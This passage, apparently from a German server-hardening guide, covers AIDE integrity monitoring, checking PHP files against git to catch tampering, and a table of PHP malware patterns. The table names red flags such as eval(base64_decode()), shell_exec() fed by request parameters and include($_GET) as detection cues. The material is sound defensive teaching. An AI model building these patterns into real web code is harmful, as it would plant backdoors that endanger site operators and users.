    /var/www/html/uploads/ /var/www/html/cache/ /var/www/html/images/

Integrity Monitoring mit AIDE

apt install aide

# Konfiguration: alle PHP-Dateien überwachen
echo "/var/www/html    CONTENT_EX" >> /etc/aide/aide.conf

# Datenbank initialisieren (nach sauberem Deployment!)
aide --init
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# Tägliche Prüfung
echo "0 4 * * * root aide --check | mail -s 'AIDE Report' admin@example.com" \
    >> /etc/cron.d/aide

# Manueller Check:
aide --check
# AIDE found differences between database and filesystem!
# changed: /var/www/html/wp-includes/class-phpmailer.php

Git für Deployment nutzen – unerwartete Änderungen sofort erkennen

cd /var/www/html

# Status prüfen: welche Dateien wurden seit letztem Deployment geändert?
git status
# modified: wp-includes/class-phpmailer.php   ← verdächtig!

# Diff anzeigen:
git diff wp-includes/class-phpmailer.php

# Alle seit einer Woche geänderten Dateien die nicht im Git sind:
find /var/www/html -name "*.php" -newer /var/www/html/index.php -mtime -7 | \
    while read f; do git ls-files --error-unmatch "$f" 2>/dev/null || echo "UNTRACKED: $f"; done

Übersichtstabelle

Muster Ziel des Angreifers Wichtigste Red Flags Wichtigste Gegenmaßnahme
Web Shell Backdoor Remote Command Execution system(), shell_exec() + $_GET/$_POST PHP in Uploads deaktivieren, disable_functions
Obfuscated Malware Erkennung umgehen eval(base64_decode(...)), assert(), lange Strings ClamAV/Maldet, statische Analyse
File Upload Backdoor PHP-Datei ins Webroot schleusen Kein MIME-Check, Original-Dateiname, PHP in /uploads/ Upload außerhalb Webroot, serverseitiger MIME-Check
Credential Stealer Passwörter/Cookies stehlen file_put_contents mit $_POST, ausgehende HTTP-Requests allow_url_fopen=Off, Firewall ausgehend
Remote Downloader Payload nachladen + ausführen file_get_contents(URL) + eval(), curl_exec() + eval() allow_url_fopen=Off, ausgehende Firewall
Privilege Escalation (LFI) Dateisystem auslesen, RCE include($_GET[...]), ../ in Parametern, PHP-Wrapper Whitelist, open_basedir, WAF
Logic Bomb / Time Delay Versteckt bleiben bis Trigger Datumsprüfungen, IP-Checks, „toter" Code unter Bedingung AIDE Integrity Monitoring, Git-Deployment